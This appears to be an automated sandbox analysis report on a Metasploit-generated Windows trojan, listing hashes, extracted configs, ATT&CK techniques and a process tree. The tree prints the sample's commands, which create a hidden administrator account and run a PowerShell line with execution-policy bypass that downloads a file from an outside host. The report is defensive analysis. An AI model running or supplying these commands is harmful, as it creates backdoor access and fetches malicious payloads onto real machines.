metasploit | 92a439c2c5d3bb748830980a81137bfdde5dd0c4ff4d09fd32f969d613011f2c

Analysis

max time kernel
147s
max time network
165s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 17:34

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General

Target

sample1.exe
Size

83KB
MD5

dec37e4b834cf3a9a78475fec06255db
SHA1

bc6a9f3dd99e40dfe34ba8c64401027a3d86d2bc
SHA256

075a8576bb2f75bf56cfa8c88727011ac66f176ca5abe2a78978c556577e5058
SHA512

8402a9206285014fe6ab3752433835a7f907406d2c5fb23204a567d3f9940c844578ee525c64b6a67d81bf0983e7d3972fb2380d822cc9fd08eec098749d4a77
SSDEEP

1536:Icus7AQXjNta73Jah9UFBD3JMb+KR0Nc8QsJq3Gnq3+/q3DlHq3/:lAYhta7ouJe0Nc8QsCzDDm/

Score

10^/10

metasploit backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://web.danger.mal/danger

Extracted

Family

metasploit

Version

windows/reverse_tcp_dns

web.danger.net:5555

Extracted

Family

metasploit

Version

windows/exec

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4508	powershell.exe

Runs net.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 1444	3672	sample1.exe	82
PID 3672 wrote to memory of 1444	3672	sample1.exe	82
PID 3672 wrote to memory of 1444	3672	sample1.exe	82
PID 1444 wrote to memory of 5044	1444	cmd.exe	85
PID 1444 wrote to memory of 5044	1444	cmd.exe	85
PID 1444 wrote to memory of 5044	1444	cmd.exe	85
PID 5044 wrote to memory of 4680	5044	net.exe	87
PID 5044 wrote to memory of 4680	5044	net.exe	87
PID 5044 wrote to memory of 4680	5044	net.exe	87
PID 1444 wrote to memory of 4500	1444	cmd.exe	89
PID 1444 wrote to memory of 4500	1444	cmd.exe	89
PID 1444 wrote to memory of 4500	1444	cmd.exe	89
PID 4500 wrote to memory of 764	4500	net.exe	91
PID 4500 wrote to memory of 764	4500	net.exe	91
PID 4500 wrote to memory of 764	4500	net.exe	91

C:\Users\Admin\AppData\Local\Temp\sample1.exe
"C:\Users\Admin\AppData\Local\Temp\sample1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user TestUser S3cret^S3cret /ADD && net localgroup Administrators TestUser /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\SysWOW64\net.exe
    net user TestUser S3cretS3cret /ADD
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user TestUser S3cretS3cret /ADD
      4⤵
      PID:4680
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators TestUser /ADD
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators TestUser /ADD
      4⤵
      PID:764
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy bypass -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('http://web.danger.mal/danger','C:/danger')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3672-0-0x0000000000400000-0x000000000041B1FC-memory.dmp

Filesize
108KB

Download
memory/3672-1-0x00000000006F0000-0x00000000006F1000-memory.dmp

Filesize
4KB

Download
memory/3672-2-0x0000000000400000-0x000000000041B1FC-memory.dmp

Filesize
108KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads